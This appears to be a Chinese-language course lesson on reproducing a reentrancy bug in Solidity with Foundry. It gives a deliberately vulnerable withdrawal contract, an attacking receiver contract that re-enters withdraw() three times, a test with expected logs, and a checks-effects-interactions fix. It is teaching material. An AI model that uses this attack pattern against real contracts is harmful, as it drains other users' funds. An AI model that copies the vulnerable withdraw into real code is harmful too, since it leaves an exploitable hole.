智能合约与以太坊 / 系统课时

复现提款回调触发的重入

复现提款回调触发的重入

本课使用 Solidity 和 Foundry 构造一个存在重入漏洞的提款合约,再编写恶意接收方,通过接收 ETH 时触发的回调连续提款。你将实际观察合约余额、攻击者余额、账户记账与嵌套调用顺序,理解为什么余额更新位置会决定资金是否安全。

学习目标

  • 识别提款函数中先转账、后扣账的危险顺序。
  • 使用 Foundry 测试复现接收方回调触发的三层嵌套提款。
  • 根据调用日志与资金变化判断漏洞是否成功触发,并了解修复方向。

漏洞产生的条件

假设一个资金池接受用户存款,并使用 balances 记录每位用户可以提取的金额。用户提款时,合约需要检查余额、转出 ETH、更新记账。

危险实现把转账放在扣账之前:

  1. 攻击者存入 1 ETH,获得 1 ETH 的提款额度。
  2. 攻击者调用 withdraw(1 ether)。
  3. 资金池通过 call 向攻击合约发送 1 ETH。
  4. 攻击合约的 receive() 被执行,在原提款尚未更新余额时再次调用 withdraw(1 ether)。
  5. 每次嵌套调用都读取到尚未扣减的 1 ETH 额度,于是可以重复转账。

这里的关键不是 call 本身不安全,而是外部接收方能够在当前函数尚未执行完毕时重新进入提款逻辑。Solidity 的外部调用不会自动保证业务状态已经完成更新。

提款函数被接收方回调重入的嵌套调用时序

编写存在漏洞的提款合约

实验使用 Solidity ^0.8.20 和 Foundry,依赖 forge-std 测试库。先创建项目:

bash
forge init reentrancy-lab
cd reentrancy-lab

预期结果:生成包含 foundry.toml、src、test 和 lib/forge-std 的 Foundry 项目。不同 Foundry 版本的初始化日志可能不同。

将以下完整代码保存为 test/Reentrancy.t.sol。其中包含资金池、攻击合约与测试入口,可以独立运行。

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test, console2} from "forge-std/Test.sol";

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        uint256 credit = balances[msg.sender];
        require(credit >= amount, "insufficient credit");

        // 漏洞:外部调用发生在账户记账更新之前。
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");

        // 使用旧额度写回,复现重复提款后的错误记账。
        balances[msg.sender] = credit - amount;
    }
}

contract ReentrantReceiver {
    VulnerableBank public immutable bank;
    uint256 public calls;

    constructor(VulnerableBank target) {
        bank = target;
    }

    function attack() external payable {
        require(msg.value == 1 ether, "send 1 ETH");
        bank.deposit{value: msg.value}();
        bank.withdraw(1 ether);
    }

    receive() external payable {
        calls++;
        console2.log("callback depth", calls);

        // 将攻击限制为三次回调,确保测试结果可重复。
        if (calls < 3 && address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }
}

contract ReentrancyTest is Test {
    VulnerableBank bank;
    ReentrantReceiver attacker;

    function setUp() public {
        bank = new VulnerableBank();
        attacker = new ReentrantReceiver(bank);

        // 测试地址获得 6 ETH,其中 5 ETH 是其他用户的模拟存款。
        vm.deal(address(this), 6 ether);
        bank.deposit{value: 5 ether}();
    }

    function testReentrantWithdraw() public {
        attacker.attack{value: 1 ether}();

        console2.log("bank balance wei", address(bank).balance);
        console2.log("attacker balance wei", address(attacker).balance);
        console2.log("attacker credit wei", bank.balances(address(attacker)));

        assertEq(attacker.calls(), 3);
        assertEq(address(attacker).balance, 3 ether);
        assertEq(address(bank).balance, 3 ether);
        assertEq(bank.balances(address(attacker)), 0);
    }
}

这份示例有意使用 credit 保存进入函数时的额度。三个嵌套调用都会读到 1 ETH,并在返回阶段将记账更新为 0。这样可以明确区分重入漏洞和 Solidity 0.8 的整数下溢检查:如果改成每层返回时直接从当前 balances 扣除 1 ETH,后续可能因下溢而整体回滚,而不是完成本实验中的资金转移。

运行测试并读取调用栈

在项目根目录执行:

bash
forge test --match-test testReentrantWithdraw -vvvv

预期输出(节选,编译与 Gas 信息因环境不同而变化):

text
[PASS] testReentrantWithdraw()
Logs:
  callback depth 1
  callback depth 2
  callback depth 3
  bank balance wei 3000000000000000000
  attacker balance wei 3000000000000000000
  attacker credit wei 0

-vvvv 会提供更详细的执行轨迹。查看其中的 VulnerableBank::withdraw 与 ReentrantReceiver::receive 调用,可以发现第二次 withdraw 发生在第一次 withdraw 返回之前,第三次又发生在第二次返回之前。

注意,EVM 的普通外部调用是同步执行的。这里不是三个线程同时提款,而是一个调用栈不断向下嵌套:只有最深层调用完成后,外层函数才会继续执行尚未完成的记账语句。

测试场景的资金变化如下:

阶段 资金池 ETH 攻击合约 ETH 攻击者可提款额度
其他用户存入后 5 0 0
攻击者存入后 6 0 1
第一次转账后 5 1 1
第二次转账后 4 2 1
第三次转账后 3 3 1
全部调用返回后 3 3 0

表中的前三次转账后额度均为 1 ETH,是因为对应的 withdraw 调用尚未走到扣账位置。最终攻击者总共获得 3 ETH,其中 1 ETH 是自己的存款,额外获得的 2 ETH 来自资金池中其他用户的资金。

为什么三层递归没有失败

Solidity 的 require 检查针对每一次函数调用分别执行,但所有调用共享同一份合约存储。

第一次提款读取 credit = 1 ether 后,在执行外部转账期间暂停;第二次提款重新读取存储中的 balances[attacker],此时仍然是 1 ETH。第三次也一样。

三层调用依次返回时,每层都执行 balances[msg.sender] = credit - amount,将各自保存的 1 ETH 减去 1 ETH。由于每层写回的都是 0,不会发生整数下溢,也无法阻止之前已经发生的三次转账。

本测试还满足两个必要条件:资金池有足够的 ETH 支付三次提款,恶意接收方的 receive() 可以通过外部调用再次进入同一个提款函数。若资金不足,转账可能失败;若接收方没有递归逻辑,则不会出现本实验的重复提款。

定位漏洞并确定修复方向

审计提款函数时,优先定位所有外部交互,再检查相关状态是否已经更新。对本例而言,最直接的修复是 Checks-Effects-Interactions(CEI)模式:先检查,再扣账,最后转账。

下面是替换 withdraw 函数的修复片段。它依赖前面 VulnerableBank 合约已经定义的 balances 映射。

solidity
function withdraw(uint256 amount) external {
    uint256 credit = balances[msg.sender];
    require(credit >= amount, "insufficient credit");

    // 先消耗提款额度,再允许接收方执行代码。
    balances[msg.sender] = credit - amount;

    (bool ok, ) = msg.sender.call{value: amount}("");
    require(ok, "transfer failed");
}

修复后的预期行为:第一次转账前余额已经扣为 0;攻击合约在第一次 receive() 内尝试第二次提款时,require 因额度不足而回退。由于攻击合约没有捕获失败的外部调用,整个交易也会回退,测试中原先断言攻击成功的用例将不再通过。

如果资金池需要支持复杂的跨函数操作,还应评估 OpenZeppelin ReentrancyGuard 的 nonReentrant 防护,并审查所有共享状态的入口。重入锁属于额外保护,不能代替正确的状态更新顺序。

可以进一步将攻击合约的 receive() 修改为尝试调用另一个共享记账状态的提款入口,观察修复单个函数是否足够。判断漏洞的验收依据应当是实际资产与账本是否守恒,而不只是交易有没有成功或有没有抛出异常。

按自己的节奏,确认真正理解。

目录与阅读设置

阅读设置

17

记录一个想法

复现提款回调触发的重入

0 / 10000 · 笔记保存到账号。未提交的修改会在关闭、离开或刷新后丢失。

登录哪都通